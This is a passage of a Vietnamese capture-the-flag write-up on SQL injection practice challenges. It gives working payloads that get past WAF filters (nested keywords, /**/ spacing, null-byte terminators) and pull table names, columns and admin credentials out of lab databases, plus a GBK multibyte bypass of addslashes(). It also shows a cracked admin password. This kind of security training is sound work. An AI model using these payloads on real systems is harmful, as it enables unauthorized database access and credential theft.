You are on page 1of 14

9.

WAF Bypassing SQL Injection (LEVEL: Easy ~ Medium)


- Đầu tiên, chúng ta tìm số cột bằng cách gửi các truy vấn sau:
+ Thử đoán số cột bằng 6:

 Số cột bằng 6 là không chính xác.


+ Thử đoán số cột bằng 5:

 Vậy số cột là 5.
- Tiếp theo, chúng ta tìm vulnerable column bằng cách gửi truy vấn sau:
 Union select đã bị filter. Vì vậy, chúng ta cần tìm cách bypass nó bằng các cách
sau:
+ Thử viết hoa các chữ cái trong “union select”:

 Truy vấn vẫn không thành công.


+ WAF Bypassing Strings:

 Truy vấn không thành công.


+ Double kết hợp với WAF Bypassing Strings:

 Truy vấn thành công và tìm được vulnerable column là 5.


- Sau khi tìm được vulnerable column, tiến hành lấy thông tin từ lỗ hổng này.
+ Đầu tiên, chúng ta cần lấy thông tin các table name với truy vấn sau:
http://root0x00.altervista.org/sqli/level.php?id=11' /*!50000unUniONion
seSeLeCtlect*/ 1,2,3,4,group_concat(table_name) from
information_schema.tables where table_schema=database()-- -

+ Trong các table tìm được ở trên, chúng ta cần lấy thông tin về tên column của table
users bằng truy vấn sau:
http://root0x00.altervista.org/sqli/level.php?id=11' /*!50000unUniONion
seSeLeCtlect*/ 1,2,3,4,group_concat(column_name) from
information_schema.columns where table_name='users'-- -

 Các cột có trong table users là: id, username, password, email, level.
- Ở yêu cầu này, chúng ta cần login vào tài khoản của admin để xem private data. Để
login vào tài khoản của admin, chúng ta cần biết 2 trường là username và password.
 Tiến hành lấy thông tin hai cột username và password trong table users với truy
vấn sau:
http://root0x00.altervista.org/sqli/level.php?id=11' /*!50000unUniONion
seSeLeCtlect*/ 1,2,3,4,group_concat('',username,password,'','') from users-- -

 Thông tin tài khoản của admin:


+ username: admin
+ password: 99feaba9c9dfac6c6ba036dee6d02dc1 (đã được hash bằng thuật
toán MD5). Sau khi decrypt, thu được password là leet1337
- Cuối cùng, tiến hành đăng nhập vào tài khoản admin bằng thông tin đã thu thập được
ở trên.
 Đã xem được private data.

12. WAF Bypassing SQL Injection ( LEVEL : Medium ~ Hard)


- Đầu tiên, chúng ta tìm số cột bằng cách gửi các truy vấn sau:
+ Thử đoán số cột bằng 6:

 Truy vấn không thành công. Nhìn vào lỗi được hiển thị, chúng ta có thể đoán rằng
space đã bị filter.
 Để bypass, chúng ta tiến hành thay thế space bằng /**/ như sau:

 Truy vấn vẫn không thành công. Ở lỗi này, chúng ta có thể đoán là do comment --
- cũng bị filter. Vì vậy, ta thay comment -- - bằng null byte ;%00
 Lúc này chỉ còn lỗi là do số cột không chính xác. Chúng ta tiếp tục thử đoán số
cột.
+ Thử đoán số cột bằng 5:

 Số cột bằng 5 là phù hợp.

- Tiếp theo, chúng ta tìm vulnerable column bằng cách gửi truy vấn sau:
http://root0x00.altervista.org/sqli/level2.php?
id=1'/**/union/**/select/**/1,2,3,4,5;%00
 Union select đã bị filter. Vì vậy, chúng ta cần tìm cách bypass nó bằng các cách
sau:
+ WAF Bypassing Strings:
http://root0x00.altervista.org/sqli/level2.php?id=1'/**//*!
50000union/**/select*//**/1,2,3,4,5;%00

 Truy vấn không thành công.


+ Double kết hợp với WAF Bypassing Strings:
http://root0x00.altervista.org/sqli/level2.php?id=11'/**//*!
50000ununionion/**/seselectlect*//**/1,2,3,4,5;%00

 Truy vấn thành công và tìm được vulnerable column là 5.


- Sau khi tìm được vulnerable column, tiến hành lấy thông tin từ lỗ hổng này.
+ Đầu tiên, chúng ta cần lấy thông tin các table name với truy vấn sau:
http://root0x00.altervista.org/sqli/level2.php?id=11'/**//*!
50000ununionion/**/seselectlect*//**/1,2,3,4,group_concat(table_name)/**/from/**
/information_schema.tables/**/where/**/table_schema=database();%00
+ Trong các table tìm được ở trên, chúng ta cần lấy thông tin về tên column của table
users bằng truy vấn sau:
http://root0x00.altervista.org/sqli/level2.php?id=11'/**//*!
50000ununionion/**/seselectlect*//**/1,2,3,4,group_concat(column_name)/**/from
/**/information_schema.columns/**/where/**/table_name='users';%00

 Các cột có trong table users là: id, username, password, email, level.
- Ở yêu cầu này, chúng ta cần login vào tài khoản của admin để xem private data. Để
login vào tài khoản của admin, chúng ta cần biết 2 trường là username và password.

 Tiến hành lấy thông tin hai cột username và password trong table users với truy
vấn sau:
http://root0x00.altervista.org/sqli/level2.php?id=11'/**//*!
50000ununionion/**/seselectlect*//**/1,2,3,4,group_concat('',username,passwor
d,'','')/**/from/**/users;%00
 Thông tin tài khoản của admin:
+ username: admin
+ password: 99feaba9c9dfac6c6ba036dee6d02dc1 (đã được hash bằng thuật
toán MD5). Sau khi decrypt, thu được password là leet1337
- Cuối cùng, tiến hành đăng nhập vào tài khoản admin bằng thông tin đã thu thập được
ở trên.

 Đã xem được private data.

1. SQL injection – Authentication


- Tiến hành thực hiện truy vấn trong sql như sau select * from users where
user=admin (phần còn lại sẽ bị comment) bằng cách ở trường:
+ Login: nhập admin’--
+ Password: nhập tùy ý
- Kết quả nhận được:

 Ở challenge này yêu cầu chúng ta phải sử dụng password của admin để đăng
nhập. Vì vậy, chúng ta sử dụng chức năng kiểm tra phần tử HTML (F12) để xem
thẻ input đại diện cho password có value (password của admin) là gì.
 Password của tài khoản admin mà chúng ta đang tìm là: t0_W34k!$

2. SQL injection - Authentication – GBK


Ở challenge này, hàm addslashes() được sử dụng ở trường login. Vì vậy, chúng ta cần sử
dụng cách bypass addslashes() như sau:
- Khi sử dụng hàm addslashes(), nếu trong chuỗi có dấu ‘ thì nó sẽ tự động thêm dấu \
vào trước dấu ‘. Vì vậy, khi chúng ta inject sẽ không đúng format và bị reject.
- Ta có dấu \ khi encode sẽ là %5c. Vì vậy, ta cần thêm một ký tự đặc biệt để khi đứng
cạnh %5c sẽ tạo thành một ký tự khác không bị filter bởi server. Ở đây, ta thử dùng
%ef.
+ Decode chuỗi %ef%5c:
 Sau khi decode thu được chuỗi ï\
+ Tiếp đến, encode chuỗi nhận được ở trên là ï\ từ Chinese GBK sang Unicode. Thu
được kết quả như sau:

- Như vậy khi chèn %ef%27 thì hàm addslashes() sẽ tự động chuyển thành %ef%5c
%27, tương đương với 颸’
- Vậy thực hiện query như sau:
login=%ef%27 or 1=1-- -&password=vvv
 Thu được kết quả là flag sau:

You might also like